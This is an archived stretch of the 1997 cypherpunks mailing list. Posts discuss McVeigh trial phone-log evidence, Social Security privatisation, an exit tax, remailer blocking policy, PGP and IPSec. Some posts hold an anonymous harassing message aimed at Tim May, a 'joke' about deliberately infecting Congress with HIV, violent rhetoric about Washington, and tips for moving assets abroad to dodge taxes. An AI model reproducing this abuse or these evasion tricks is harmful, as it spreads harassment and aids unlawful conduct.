   at 08:38 AM, Declan McCullagh  said:

>   As the Internet reaches to touch every business and every
> household and we face the frightening prospect that private
> information -- even medical records -- could be made instantly
> available to the world, we must develop new protections for
> privacy in the face of new technological reality.

More government regulations & intrusions. And ofcource no protection from
the Government which is the real threat.

>  (Applause.) <==Sheeple
   ^^^^^^^^^^^ 
- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: See the Future; See OS/2.  Be the Future; Run OS/2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
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From paul at fatmans.demon.co.uk  Fri May 30 10:29:53 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 31 May 1997 01:29:53 +0800
Subject: Forward: Tim McVeigh trial info from RISKS DIGEST 19.19 (fwd)
Message-ID: 




The following may be of interest to those following the Tim McVeigh OKC 
trial, it relates to technical flaws in the evidence relating to the 
telephone debit card McVeigh allegedly used.
	
        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

------------------------------

Date: Wed, 28 May 1997 11:47:43 -0700 (PDT)
From: hbaker at netcom.com (Henry G. Baker)
Subject: Oklahoma bombing trial transcripts

RISKS readers may find the following transcript from the OK bombing trial
to be particularly interesting:
  http://www.cnn.com/US/9703/okc.trial/transcripts/may/050697.eve.txt
(Note CNN's Y2K problem, but that's for another time!)

This transcript was brought to the attention of another usenet group due to
its details of how the debit-card business works.

The bulk of this transcript deals with the testimony of a Mr. John Kane, an
executive of the company that handled the telephone debit card that was
allegedly used.

Problems:

There was no one computer that had all of the information necessary to
connect a phone debit-card number, the phone number from which a call was
made, and the phone number to which the call was made.  3 different logs
from 3 different computer systems whose clocks were not synchronized must be
related in order to determine this information.  Therefore, it is difficult
to relate the logs in an unambiguous manner.  Furthermore, the logs indicate
only a physical port number, and the only way to determine the
correspondence is to _physically inspect_ the connectivity of the cables.

Q. How often were the cables rearranged?  Since the system would work fine
with a different permutation of the cables, what assurance do we have that
the cables had not been rearranged by a technician who many never have told
anyone, or not even realized himself?

Due to the large sizes of these files (2.5 billion calls!), the 'matching'
process allowed for +/- 4 minutes 'slop' in comparing the clock times of the
different logs.  Q.  Did they take into account Daylight Savings Time
(especially given the problems we're recently been talking about)?

Q. Did they take into account the fact that on different days the clocks may
have had different discrepancies?

There are key items missing from the most important transaction log.  This
is because this computer was _intentionally rebooted_ 3 times every day
(perhaps at midnight, 8AM, 4PM, all Los Angeles time).  Each time the
computer was rebooted, some transactions were lost; whether from not having
been saved from the write buffer, or not being logged during a length boot
process, was not made clear.  Apparently, a very critical phone call was one
of the transactions that were not logged due to this rebooting.  (What are
the chances of this??)

Why was this computer rebooted 3X per day?  Because it had apparently been
crashing of its own accord prior to this, and those crashes had been very
inconvenient, so it was decided that purposely rebooting would result in
fewer complaints.  This rebooting may have resulted in a slight loss of
revenue, as well, as the missing calls may never have been logged.

There is a presumption that if a PIN (in this case a 14-digit PIN) is being
used, that only one person could possibly have used it.  However, apparently
this system did not check to see that multiple people (perhaps in different
parts of the country) were not using the same PIN number at the same time.
(Unlike many prepaid phone cards in Europe, there is no physical card to
plug into the phone -- the _only_ proof of identity is the PIN.)

Henry Baker  ftp://ftp.netcom.com/pub/hb/hbaker/home.html






From kent at songbird.com  Fri May 30 10:43:11 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 31 May 1997 01:43:11 +0800
Subject: Comments on the Macintosh
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <19970530102942.06733@bywater.songbird.com>


On Fri, May 30, 1997 at 08:15:24AM -0700, Tim May wrote:
[...]
> Vinnie M. tells me I should do the upgrade to System 7.6...I think I'll
> pass on this for now.
> 
> --Tim May

You should upgrade to Linux.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Fri May 30 10:49:41 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 31 May 1997 01:49:41 +0800
Subject: There's something wrong when I'm a felon under an increasing number of
In-Reply-To: <199705291623.KAA00762@wombat.sk.sympatico.ca>
Message-ID: <19970530102450.17269@bywater.songbird.com>


On Fri, May 30, 1997 at 11:49:19AM -0400, Rabid Wombat wrote:
> > 
> >   A major nail in the coffin of Justice for any accused in the U.S.
> > 
> > was when the justice system promoted the concept of guilt by virtue
> > 
> > of "circumstantial" evidence to the point where people can now be
> > 
> > convicted as a result of speculation rather than evidence. Prosecutors
> > 
> > now seem to need only to convince the sheeple that it was "possible"
> > 
> > for the defendant to have commited the crime and that circumstantial
> > 
> > evidence points *only* to the accused.
> > 
> 
> Yeah, right. Must be how O.J. got convicted in criminal court. Ooops - 
> just remembered that he walked. Maybe Bell can beat the wrap with a good 
> stiff-arm and a few Hertz commercials ...

I don't understand the animus against circumstantial evidence, 
frankly.  Some circumstantial evidence is extremely good evidence.  
If anything, eyewitness accounts are vastly overrated.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From declan at well.com  Fri May 30 11:19:56 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 31 May 1997 02:19:56 +0800
Subject: How much you lose under Social Security -- socialsecurity.org
Message-ID: 




---------- Forwarded message ----------
Date: Fri, 30 May 1997 10:59:17 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: How much you lose under Social Security -- socialsecurity.org

I'm over at the National Press Club now, just came from a Cato Institute
press conference unveiling their socialsecurity.org web site. It lets you
calculate your retirement income and compare how much you'd get from the
Federal government's Social Security "fund" compared with a private system
like a 401(k). 

And it's fun to play with. Let's say I was born in 1970 and make $30,000 a
year (BTW, I wasn't and don't). Assuming I retire at 67 and inflation is 3
percent, Social Security would give me $1,293 a month after I retire. And
that's if you assume Social Security won't go belly-up, a hard position to
maintain since its own trustees say it's underfunded by 25 to 33 percent.

Compare that to a stock fund, which yields so much more: $8,635 a month.

I can't think of a better argument to privatize Social Security and move
to a system like an IRA or 401(k), a solution the Cato folks have
advocated for years.

Before the big government folks out there criticize Cato's calculator for
being biased, let me point out KPMG Peat Marwick did all calculations and
programming.

-Declan







From nobody at huge.cajones.com  Fri May 30 11:38:11 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 31 May 1997 02:38:11 +0800
Subject: GAK
Message-ID: <199705301816.LAA23316@fat.doobie.com>


May Timothy Maypole's forgeries get stuck up his ass so he'll have to shit 
through his filthy mouth for the rest of its miserable life.

                 .::7777::-.
                /:'////' `::>/|/
              .',  ||||   `/( e\  Timothy Maypole
          -==~-'`-Xm````-mr' `-_\






From tcmay at got.net  Fri May 30 12:03:56 1997
From: tcmay at got.net (Tim May)
Date: Sat, 31 May 1997 03:03:56 +0800
Subject: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: 
Message-ID: 


At 11:00 AM -0700 5/30/97, Declan McCullagh wrote:

>And it's fun to play with. Let's say I was born in 1970 and make $30,000 a
>year (BTW, I wasn't and don't). Assuming I retire at 67 and inflation is 3
>percent, Social Security would give me $1,293 a month after I retire. And
>that's if you assume Social Security won't go belly-up, a hard position to
>maintain since its own trustees say it's underfunded by 25 to 33 percent.

I paid into the SS fund from 1969 to 1986. And yet I knew from around 1975
or so that it was a Ponzi scheme, with current intake being used to pay
ouflow and with no "trust fund."

(The so-called "trust fund" is actually just a bunch of IOUs placed there
by the government...the inflow is sent back out to welfare mothers,
chiselers, and corporate welfare cases, and an IOU is placed back in the
jar. This is *NOT* calculated into the $5.3 trillion national debt. That
$5.3 trillion debt amounts to $53,000 owed on average by each of the 100
million or so taxpayers (the other 150 million being children, spouses,
nonfilers, welfare recipients, spouses, etc.). Most of these 100 million do
not have $53,000 in any form of assets, of course.)

>Compare that to a stock fund, which yields so much more: $8,635 a month.

I expect to receive essentially nothing from the SS fund when I become
eligible in 22 or more years (they are pushing out the eligibility age...it
may be 75 by the time I "retire").

I won't try to dig up numbers right now, but the combination of the
national debt, the unfunded liabilities (things the Feds have said they'll
pay for but don't have the money in an account for), the SS crisis, the
Medicare crisis, and the changing demographics (hint: the baby boomers
retire in absolutely massive numbers beginning about 15-20 years from
now)...well, the numbers don't look good. I've heard estimates that the tax
rate on those still working in 2020 may have to be 80%. That won't fly. So
some things are going to break, and break very badly.

And the Congressvermin are still attempting to impose an "exit tax" on
accumulated assets, so that if I tried to move my assets (remember, assets
= property = purchased things, not at all the same thing as "income") to
some other country.

(There are those I mention this to who don't seem to understand the point,
and who mutter about tax evasion. Well, the purpose of moving assets may
indeed be avoid confiscatory taxes. But the fact is that it says one's
property (jewels, furniture, stocks, etc.) are not one's own to move around
as one sees fit, to take with one to a foreign residence. This would make
the U.S. like the Soviet Union in this regard.)

As we all know, the SS system is just a gigantic Ponzi scheme. Like
gambling, the government runs operations it imprisons others for running.

I'm not even sure that 60 megatons of disinfectant would handle the cancer
that is Washington.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Fri May 30 12:35:51 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 31 May 1997 03:35:51 +0800
Subject: There's something wrong...
Message-ID: <199705301914.MAA26873@fat.doobie.com>



Friday, May 30, 1997 - 21:07:32 MET

>   A major nail in the coffin of Justice for any accused in the U.S.
> 
> was when the justice system promoted the concept of guilt by virtue
> 
> of "circumstantial" evidence to the point where people can now be
> 
> convicted as a result of speculation rather than evidence. Prosecutors
> 
> now seem to need only to convince the sheeple that it was "possible"
> 
> for the defendant to have commited the crime and that circumstantial
> 
> evidence points *only* to the accused.

Actually we are well passed that point. Jim Bell's arrest and pending 
prosecution amounts to thought crime. Its not "possible they commited 
a crime" now its possible that they "may" commit a crime.

 At Waco, dozens of innocents were killed, burned alive on national 
television in their home and church from an unwarranted, excessive 
use of force in order to serve a search warrant on David Koresh for 
what they "may" have been doing.  No one was under indictment, under 
arrest or accused of an actual crime, yet through media manipulation 
that branded koresh and his followers Kooks, the nation watched 
another act of Statist-TV-Terrorism. The message through the 
medium this time?,   "We don't need no stinking charges."

Mandatory sentencing (a legislative and executive end run that usurps 
judiaciary power by eliminating judicial discretion)

 Terroristic Speech (a euphemism for 'thought 
crime' in many cases) are two examples of end runs around citizens 
contitutionaly protected rights that are being used daily to commit 
violent attacks on individual citizens civil rights.



        






From jeff at fat.doobie.com  Fri May 30 12:58:28 1997
From: jeff at fat.doobie.com (Jeff Burchell)
Date: Sat, 31 May 1997 03:58:28 +0800
Subject: Continuing spam from vulis
In-Reply-To: <10948.865019869@zelkova.qualcomm.com>
Message-ID: 


On Fri, 30 May 1997, Paul Pomes wrote:

> The wider circulation is due to the complete lack of response from
> remailer-admin at cajones.com.

Be careful when you say "Complete lack of response".  You've got no idea
what I did and didn't do once I got your message.

I have previously talked with the operator of the cypherpunks list (this
was about 2 months ago when someone else was abusing the remailer to post
trash to that list). At that time, I offered the standard good will
gesture that remailer operators can offer: "Would you like me to block the
list, so this remailer won't send anything to it".  Because of the nature
of anonymous remailers, this is about the extent of the action that I can
take. 

To this, I recieved a very firm "no!" (cypherpunks is of course a list
where people do have good reasons to use remailers).  Because of that, I
_WON'T_ block cypherpunks, until I am instructed to by May, Gilmore,
Hughes, et.al. Period.  This holds true for all mailing lists. I need to
have authorization from the list maintainer to block the list.  

I have added your address to my block list, this remailer won't send
anything directly to you in the future.  If you don't want to read
anything from this mailer that comes across lists, then you should either
manually delete anonymous messages before reading them (the headers and
return address make it obvious when a message has come through a
remailer), or turn on some client-side mail filters.  Your own company
makes a product with adaquate functionality to do this. 

-Jeff
Operator... Huge.cajones.com

P.S.  Besides... aren't ad hominum attacks on Tim May a Cypherpunks
      tradition?

P.P.S.  Isn't there a non-flames moderated cypherpunks?  Perhaps you
        want to be on that list instead of the free-for-all.

-----------------------------------------------------------------------------
"When they came for the 2nd Amendment, I said nothing, for I owned no gun
 Then the sixth was next to go, and I remained silent, as I was not on trial
 They took away the fourth, and I said nothing, as I had nothing to hide
 And then they came for the First,  and I could say nothing." 







From sunder at brainlink.com  Fri May 30 13:06:12 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 31 May 1997 04:06:12 +0800
Subject: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: 
Message-ID: 


On Fri, 30 May 1997, Tim May wrote:

> And the Congressvermin are still attempting to impose an "exit tax" on
> accumulated assets, so that if I tried to move my assets (remember, assets
> = property = purchased things, not at all the same thing as "income") to
> some other country.

This is really a double tax since if you own assets, you've already paid
taxes on those said assets in the form of income tax.  If it's an
inheritance, that too was taxed, so what the fuck?  What's the
justification behind this other than exit rape?

I suppose one way is to take loads of trips and loads of AmEx traveler's
checks, then gamble on things with 50% chance of winning, take the
winnings and dump'em in accounts outside.  Repeat until nothing's left,
then exit with very little.

> As we all know, the SS system is just a gigantic Ponzi scheme. Like
> gambling, the government runs operations it imprisons others for running.

So let's sue the system.  Might fail, but maybe we can get it the fuck out
of our income taxes.  One less tax to bother with.  Since it no longer
does what it is supposed to, might as well get rid of it.  One way is to
calculate how much you've put in it, and what is expected you'll receive
on retirement.  Compare the two, then sue the bastards.   (I donno what
I've been smoking, but I should get more of it, that's for sure. heheheh)
 
> I'm not even sure that 60 megatons of disinfectant would handle the cancer
> that is Washington.

Not worth wasting the disinfectant IMHO.  I'd say take the money, purchase
the favors of AIDS infect whores and throw congress and the senate a
really big party. :)  Oh, and make sure the condoms have holes.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From frissell at panix.com  Fri May 30 13:51:05 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sat, 31 May 1997 04:51:05 +0800
Subject: Comments on the Macintosh
In-Reply-To: <3.0.2.32.19970530070318.035fc7ac@panix.com>
Message-ID: <3.0.2.32.19970530162828.0074f42c@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 08:15 AM 5/30/97 -0700, Tim May wrote:

>Newsflash: With the prodding and help of Vinnie M., I took a day last week
>and installed the latest versions of all of my major applications.  I
>successfully ran the installation on my bootleg copy of PGP 5.0 (obtained
>from my friendly spy), but have not yet spent time integrating it with
>Eudora Pro 3.1, which I understand is possible.
>
>(Please: No helpful suggestions. All of the information I need to do this
>is apparently contained in the docs...I just haven taken the time off from
>doing other things to do this.)

No helpful suggestion here but I wanted to point out that in both instances 
after I installed PGPMail 4.5 in January and PGP for Personal Privacy 5.0
last 
week, I found that the cute little radio buttons had been automagically 
installed in my copy of Eudora Pro 3.0 (they also work with the freeware Lite 
version of 3.0).  They do not appear on the frames of the general program 
"window" because encryption/decryption cannot be used there but if you open a 
message window to create a message or to read a message, there the little 
buttons are.  I am using WIN95 of course.

If the Mac is not as user friendly, I think that's too bad.  Look on the 
message window frames.  Maybe the buttons are there.

I've been frantically signing and encrypting ever since January.  I want PGP 
Inc. to release PGP Disk for WIN95 (it's out for the MAC).  I need a disk 
encryptor that can work with WIN32.

I have even been able to browbeat friends and family into installing the new 
PGP versions.  There's a lot to be said for on-click encryption (or no click 
in the case of 5.0 since you can set signing or encryption or both to be the 
default condition for Eudora.  Hit  of  and PGP pops up and does 
its thing.


DCF




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From frissell at panix.com  Fri May 30 13:56:09 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sat, 31 May 1997 04:56:09 +0800
Subject: relevance to Hayek research?
In-Reply-To: 
Message-ID: <3.0.2.32.19970530160325.0074fa58@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 09:44 AM 5/30/97 -0400, Robert Hettinga wrote:
>discussion here, spoke the Assistant Director of FinCEN. FinCEN stands for
>the Financial Crimes Enforcement Network, a truly amazing government agency
>which has the ability to tell anyone with a credit card or checking account
>not only what his current bank balance is, but, through perfectly legal
>"administrative requests" to his bank, what his, say, total clothing and
>grocery expenditures were last year, categorized by store. 

...if the bank and credit card are in the target's True Name in the U.S. or a 
cooperating jurisdiction.

DCF

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From tcmay at got.net  Fri May 30 13:59:04 1997
From: tcmay at got.net (Tim May)
Date: Sat, 31 May 1997 04:59:04 +0800
Subject: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: 
Message-ID: 


At 12:55 PM -0700 5/30/97, Ray Arachelian wrote:
>On Fri, 30 May 1997, Tim May wrote:
>
>> And the Congressvermin are still attempting to impose an "exit tax" on
>> accumulated assets, so that if I tried to move my assets (remember, assets
>> = property = purchased things, not at all the same thing as "income") to
>> some other country.
>
>This is really a double tax since if you own assets, you've already paid
>taxes on those said assets in the form of income tax.  If it's an
>inheritance, that too was taxed, so what the fuck?  What's the
>justification behind this other than exit rape?

The exit tax would of course only be applied to the _gain_ in the value of
an asset. As such, it is not double taxation (modulo the inflation issue).,

If I bought 1000 shares in a stock at $20 and it was still at $20, no exit
tax would be owed. If it had gone up to $30, a 28% tax (as proposed) would
be levied on the $10,000 putative gain.

This would apply even if the stock had not been sold, which is what the
issue really is about. (Imagine having to pay a 28% tax on any putative
gain in the value of personal possessions like old records or jewelry moved
overseas.)

And of course I don't imagine they'll issue _refunds_ for losses! ("Hi, I'm
moving to Paris. I'm taking some stocks with me, most of them dogs. Please
write out a check for $37,863.91 to cover 28% of the loss.")

The issue of course is that the proposed exit tax tries to recapture taxes
on income *not yet realized*.

>I suppose one way is to take loads of trips and loads of AmEx traveler's
>checks, then gamble on things with 50% chance of winning, take the
>winnings and dump'em in accounts outside.  Repeat until nothing's left,
>then exit with very little.

There are of course many such tricks. Many don't even muling your own cash
across borders. (And the Empire strikes back by calling many of these
things "structuring," for which the laws are very confusing and are so
designed to terrorize citizen-units into not trying them.)

>> As we all know, the SS system is just a gigantic Ponzi scheme. Like
>> gambling, the government runs operations it imprisons others for running.
>
>So let's sue the system.  Might fail, but maybe we can get it the fuck out
>of our income taxes.  One less tax to bother with.  Since it no longer


Let us know  how it turns out.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From real at freenet.edmonton.ab.ca  Fri May 30 14:01:46 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 31 May 1997 05:01:46 +0800
Subject: GAK
In-Reply-To: <199705301816.LAA23316@fat.doobie.com>
Message-ID: 


On Fri, 30 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> May Timothy Maypole's forgeries get stuck up his ass so he'll have to shit 
> through his filthy mouth for the rest of its miserable life.
> 
>                  .::7777::-.
>                 /:'////' `::>/|/
>               .',  ||||   `/( e\  Timothy Maypole
>           -==~-'`-Xm````-mr' `-_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tcmay at got.net  Fri May 30 14:07:27 1997
From: tcmay at got.net (Tim May)
Date: Sat, 31 May 1997 05:07:27 +0800
Subject: Continuing spam from vulis
In-Reply-To: <10948.865019869@zelkova.qualcomm.com>
Message-ID: 



(I've removed 9 of the addresses from this response.)

At 12:42 PM -0700 5/30/97, Jeff Burchell wrote:

>I have previously talked with the operator of the cypherpunks list (this
>was about 2 months ago when someone else was abusing the remailer to post

And just who is "the operator of the cypherpunks list"? If this was about 2
months ago, it would've been well after the Cypherdiaspora, so there would
be even less of a concept of the "operator" than there was before. And why
would he or she or they have anything to say about blocking remailers?

>trash to that list). At that time, I offered the standard good will
>gesture that remailer operators can offer: "Would you like me to block the
>list, so this remailer won't send anything to it".  Because of the nature
>of anonymous remailers, this is about the extent of the action that I can
>take.
>
>To this, I recieved a very firm "no!" (cypherpunks is of course a list
>where people do have good reasons to use remailers).  Because of that, I
>_WON'T_ block cypherpunks, until I am instructed to by May, Gilmore,
>Hughes, et.al. Period.  This holds true for all mailing lists. I need to
>have authorization from the list maintainer to block the list.

Neither May nor Gilmore nor Hughes have any say over blocking remailers,
blocking use of remailers, etc.

>-Jeff
>Operator... Huge.cajones.com
>
>P.S.  Besides... aren't ad hominum attacks on Tim May a Cypherpunks
>      tradition?

I mean no disrespect to Jeff, but even getting involved in the slightest
way in debates about remailer traffic and what should/should not be blocked
is what can only be called a "conceptual error."

Ideal mixes, which today's remailers are of course only an approximation
of, do not pass and reject messages based on content, or even on sources
and destinations. The ideal mix is a soulless black box executing certain
protocols.

(Practicality may dictate that a remailer place certain minimal, and
hopefully publicized, constraints on the process, e.g., no sending to
whitehouse.gov, no sending to hundreds of addresses, whatever.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From daw at cs.berkeley.edu  Fri May 30 14:33:46 1997
From: daw at cs.berkeley.edu (David Wagner)
Date: Sat, 31 May 1997 05:33:46 +0800
Subject: Crypto Disputes
In-Reply-To: <1.5.4.32.19970529230949.00937498@pop.pipeline.com>
Message-ID: <5mngcl$4e7@joseph.cs.berkeley.edu>


In article <1.5.4.32.19970529230949.00937498 at pop.pipeline.com>,
John Young   wrote:
>      For two years, the IETF Security Group has labored to
>      hammer out the IP Security (IPSec) protocol, a standard way
>      that businesses can open up an encrypted link to a trading
>      partner's network. [...]
> 
>      But an unresolved, bitter dispute over the technique for
>      automatically swapping keys over the 'Net - referred to as
>      key management - has resulted in two incompatible schemes
>      in the IPSec specification.
> 
>      In this battle of the acronyms, the debate centers on the
>      Simple Key Management for IP (SKIP), developed by Sun
>      Microsystems, Inc., and the Internet Secure Association Key
>      Management Protocol (ISAKMP), developed by the National
>      Security Agency. 

Heh.  This article is way behind the times.  (Either that, or the reporter
has been listening too closely to Sun marketing hype.)

ISAKMP/Oakley has been endorsed as the mandatory-to-support key management
standard for ipsec.  Proposals to make SKIP mandatory were explicitly rejected.

The bitter debate is over, and ISAKMP/Oakley won.

>                         The link is encrypted after authentication
>      by means of an X.509 digital certificate at an IPSec-based
>      firewall or gateway. 

Hoo boy is this reporter clueless!  Don't you believe it for even an instant.






From jeff at fat.doobie.com  Fri May 30 15:06:04 1997
From: jeff at fat.doobie.com (Jeff Burchell)
Date: Sat, 31 May 1997 06:06:04 +0800
Subject: Continuing spam from vulis
In-Reply-To: 
Message-ID: 


On Fri, 30 May 1997, Tim May wrote:

> (I've removed 9 of the addresses from this response.)

Thanks, those were the addresses that Mr. Pomes sent his message to
including my employer and the abuse address for my employer's provider.
Since he was accusing me of being unresponsive, I figured I should
probably send my response to those folks as well.

> And just who is "the operator of the cypherpunks list"

At the time it was whomever was moderating the non-flames list, before
that it was probably John Gilmore, because he runs toad.com where it used
to be hosted.  I haven't been on cypherpunks since I was in college, or
really paid much attention to it.  I can probably dig through my mail
archive to find out exactly who I corresponded with, because my memory for
names is horrible, but frankly I'm lazy, and don't really want to do this. 

> And why
> would he or she or they have anything to say about blocking remailers?

Standard Policy.  Some people don't want to get anonymous mail, and my
remailer (and all others to my knowlege) has the capability of blocking
mail sent to particular addresses. If the address is a mailing list, I
require the maintainer of the list to actually request the block. 

Most lists have a single person (or group of people) who informally "run"
the list.  Often it's whomever is administrating the machine that is
acting as the list exploder, sometimes a list moderator, etc. etc. 

> Neither May nor Gilmore nor Hughes have any say over blocking remailers,
> blocking use of remailers, etc.

Admittedly, I did pull those names out of mostly thin air, as they are the
people who I feel can speak most authoritatively for the wishes of the
list.  Cypherpunks is an unusual example of a list without an authority
(or with lots of authorities, depending on how you look at it). 

But, really, in the unlikely event that I got mail from one of those three
asking for the cypherpunks list to be blocked, I would be likely to honor
it. I seriously doubt that this would ever happen, though. 

> I mean no disrespect to Jeff, but even getting involved in the slightest
> way in debates about remailer traffic and what should/should not be blocked
> is what can only be called a "conceptual error."

Agreed (and no disrespect taken).  My posting was a quick comment stating
why I refuse to tell my remailer not to mail to the cypherpunks list. 
Shit, if any mailing list should be anonymous-mail friendly it should be
this one.

> Ideal mixes, which today's remailers are of course only an approximation
> of, do not pass and reject messages based on content, or even on sources
> and destinations. The ideal mix is a soulless black box executing certain
> protocols.
> 
> (Practicality may dictate that a remailer place certain minimal, and
> hopefully publicized, constraints on the process, e.g., no sending to
> whitehouse.gov, no sending to hundreds of addresses, whatever.)

Exactly... The reason that blocking by source or destination exists is to
keep the remailers operating, and the remailer operators out of court.  In
an ideal world, everyone would be comfortable with the concept of
anonymity and blocking techniques would be unnecessary.  Right now that
isn't the case, and I don't see this changing for the better anytime soon.
So, I have to have policies like "if you want a block, send me mail from
the account you want blocked, if you want a mailing list blocked, then get
whomever is in charge of the list to contact me."

I don't (and can't) block anything based on content... it's either all or
nothing.  In other words, I can't tell the remailer not to send anti-Tim
May postings unless I tell it not to send anything at all.  I know better
than to think that you or most cypherpunks readers want this.

We're on the same page, Tim.

-Jeff

-----------------------------------------------------------------------------
"When they came for the 2nd Amendment, I said nothing, for I owned no gun
 Then the sixth was next to go, and I remained silent, as I was not on trial
 They took away the fourth, and I said nothing, as I had nothing to hide
 And then they came for the First,  and I could say nothing." 










From ichudov at algebra.com  Fri May 30 16:10:34 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 31 May 1997 07:10:34 +0800
Subject: Continuing spam from vulis
In-Reply-To: 
Message-ID: <199705302242.RAA16939@manifold.algebra.com>


Jeff Burchell wrote:
> On Fri, 30 May 1997, Paul Pomes wrote:
> To this, I recieved a very firm "no!" (cypherpunks is of course a list
> where people do have good reasons to use remailers).  Because of that, I
> _WON'T_ block cypherpunks, until I am instructed to by May, Gilmore,
> Hughes, et.al. Period.  This holds true for all mailing lists. I need to
> have authorization from the list maintainer to block the list.  

Excuse me, what do these individuals have that allows them to give
instructions to remailer operators?

> P.P.S.  Isn't there a non-flames moderated cypherpunks?  Perhaps you
>         want to be on that list instead of the free-for-all.

There is one, operated by Ray Arachelian, I believe.

	- Igor.






From ichudov at algebra.com  Fri May 30 16:14:52 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 31 May 1997 07:14:52 +0800
Subject: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: 
Message-ID: <199705302257.RAA17014@manifold.algebra.com>


-----BEGIN PGP SIGNED MESSAGE-----

eclan McCullagh wrote:

http://www.socialsecurity.org

> I'm over at the National Press Club now, just came from a Cato Institute
> press conference unveiling their socialsecurity.org web site. It lets you
> calculate your retirement income and compare how much you'd get from the
> Federal government's Social Security "fund" compared with a private system
> like a 401(k). 
> 
> And it's fun to play with. Let's say I was born in 1970 and make $30,000 a
> year (BTW, I wasn't and don't). Assuming I retire at 67 and inflation is 3
> percent, Social Security would give me $1,293 a month after I retire. And
> that's if you assume Social Security won't go belly-up, a hard position to
> maintain since its own trustees say it's underfunded by 25 to 33 percent.
> 
> Compare that to a stock fund, which yields so much more: $8,635 a month.
 
> I can't think of a better argument to privatize Social Security and move
> to a system like an IRA or 401(k), a solution the Cato folks have
> advocated for years.

Remember though that past performance does not guarantee future results.

I see no reason why the stockmarket should (or should not) continue
to give the spectacular gains that it gave in the past.

While having more options generally increases people's well being, we
have to expect a substantial amount of people whose investments will be
lost in various perturbations that lie ahead.

We may expect to the government to be under strong pressure to feed these
old folks.

What bothers me most is what would happen if the market went bust again
